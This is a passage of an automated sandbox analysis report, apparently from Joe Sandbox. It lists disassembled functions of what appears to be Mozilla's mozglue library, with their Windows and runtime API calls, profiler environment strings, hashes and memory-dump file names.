MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5E0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E084C
EnterCriticalSection.KERNEL32(?), ref: 6C5E08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E08BD
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E08D5

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction ID: 19ef83c08482a0f8ea3c1b3c8fdfc7837052a99be66e95028db1d22e45cfc859
Opcode Fuzzy Hash: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction Fuzzy Hash: 0F219071A052099BDB048E65DC84BEE7379EF89709F500539D50AA7A40DF39A8058BD4

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5B1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5B17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5B18EE
free.MOZGLUE(?), ref: 6C5B1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B194C

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction ID: 981037f5d17e3700d38bb0e1bd2201113b5d6a94379deae98e077cee1e40fb7b
Opcode Fuzzy Hash: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction Fuzzy Hash: 4C81AE70A152059FCB08CF68DCA49AFBBB1FF89314F04452CE811AB754E730E955CBA2

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C6077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C607829

Part of subcall function 6C5DCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5A31A7), ref: 6C5DCC45
Part of subcall function 6C5DCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5A31A7), ref: 6C5DCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C60789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6078CF

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction ID: 297abd91c9a7b622260a04843133fe2be1a6b8dc702dc8f9656b893a9e19ed30
Opcode Fuzzy Hash: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction Fuzzy Hash: 6341AF71A047469FD300DF29C88056AFBF4FFCA254F604A2DE4A987640DB70E95ACB96

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5DFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5DFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5DFFF5
free.MOZGLUE(?,?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5E001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5E002A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction ID: 86481ef2ef319477e5278dfe31cc76e7cfa570f9dee89733d0664d46ce90e840
Opcode Fuzzy Hash: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction Fuzzy Hash: DA21D6B2A002165BC718DE7C9C948AFB7BAFBC93247250738E525D7780EB71AD0187E5

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F208E
free.MOZGLUE(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F20A3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction ID: 391da3366dc8c6688c1ce1f87a9af8fec735c5d15e5b594202f07a721ba04a0f
Opcode Fuzzy Hash: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction Fuzzy Hash: 1AF0B4B2100600DBC7118F17DC88B9BB7F9EFC6364F10051AE94687710C776A806CB9A

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
